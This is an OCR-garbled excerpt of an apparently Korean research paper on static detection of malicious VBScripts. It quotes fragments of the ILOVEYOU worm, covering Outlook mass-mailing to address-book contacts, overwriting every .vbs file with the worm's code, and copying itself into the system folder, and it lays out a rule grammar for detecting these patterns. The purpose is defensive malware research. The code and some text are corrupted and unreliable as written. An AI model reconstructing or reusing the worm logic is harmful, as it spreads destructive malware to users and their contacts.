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Detection of Unknown Malicious Scripts Using Static Analysis

Seong-uck Lee'- Byungwoo Bae'' - Hyong-joon Lee''!
Eun-Sun Cho ™'t - Manpyo Hong'''t

ABSTRACT

Analyzing the code using static heuristics is a widely used technique for detecting unknown malicious codes. It decides the maliciousness
of a code by searching for some fragments that had been frequently found in known malicious codes. However, in script codes, it tries to search
for sequences of method calls, not code fragments, because finding such fragments is much difficult. This technique makes many false alarms
because such method calls can be also used in normal scripts. Thus, static heuristics for scripts are used only to detect malicious behavior consisting
of specific method calls which is seldom used in normal scripts. In this paper, we suggest a static analysis that can detect malicious behavior
more accurately, by concerning not only the method calls but also parameters and return values. The result of experiments show that malicious
behaviors, which were difficult to detect by previous works, due to high false positive, will be detected by our method.

FINE : %M AJEE(malicious script), 28 RS=(malicious code), HFE HIOIZA(computer virus), BH EA(static analysis)
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set out = WScript.! CreateOb]ect( Outlook.Apptication”)
set mapi = ou SRS

tor ctrlists = 1 to mapi s

seta= mamm(ctrhsts)

for ctrentries = 1 to o EHEE ke
malead = amx)
set male = out ERERRERRIE0)
male.Recipients . Add{malead)
male.Subject = *ILOVEYOU"
male.Body = vberif & “kindly check the attached LOVELETTER coming from me."
maleml\dd('WLOVE—LEI'TER'FOR—YOU.TXT.vbs')

mal&@

next

next
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Set fso = CreateObject ( “Scripting. FileSystemObject” )
set file = fso.OpenTextFile ( WScript.ScriptFullname, 1)
vhscopy = file.ReadAll

file.close

folderlist ( “c : W)

sub folderlist ( folderspec )
dim f, f1, sf
set f = fso.GetFolder ( folderspec )
set sf = f.SubFolders
for each f1 in sf
infectfiles ( fl.path )
folderlist ( fl.path )
next
end sub

Sub infectfiles ( folderspec )
dim 1, fl, fc, ap
set f = fso.Getfolder ( folderspec )
set fc = f, Files
for each fl in fc
if fso.GetExtensionName ( fl.path ) = “vbs” then
set ap = fso, OpenTextFile ( fl.path, 2, true)
ap.write vbscopy
ap.close
end if
next
end sub
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Set{fso]= CreateObject(“Scripting. FileSystemObject”)

Set dirsystem  fsd.getSpecialFolder(1)

Set(d = fsd GetFile(WScript.ScriptFullName)

Copy(ditsystem& WLOVE-LETTER—FOR-YOU. TXT.VES )

setout]= WScript.CreateObject(“Qutidok. Applicatior?)
{oul Createltem(0)
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< Match_Rule > 11 = <match_ruld_id > “:” < pattern >

< pattern > i1 = {<variable > | <string> | “*" |
< char > h.

< Relation_Rule > 11 = Lrelation_rule_id > “ " [ <precond > ]
[ <cond> ] <action>

< cond > 1i = “cond” <rule_variable > [ “==" | “<” ]
< rule_variable >

< precond > 11 = “precond” < relation_rule_id > { “”
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< action > 11 = “action” [ <assignment > | alert T
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ML1 . $1.copyfile wscript.scriptfullname, $2 [, *]
RLOCAL : precond ML1
action $1 = ML1.$2
Alert local copy
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MALl . $1.Attachments.Add $2

RATTACH :cond RLOCAL.$1 == MA1.$2
action $1 = MAL$1

MS1 . $1.Send

RSEND :cond RATTACH.$1 == MS1.$1
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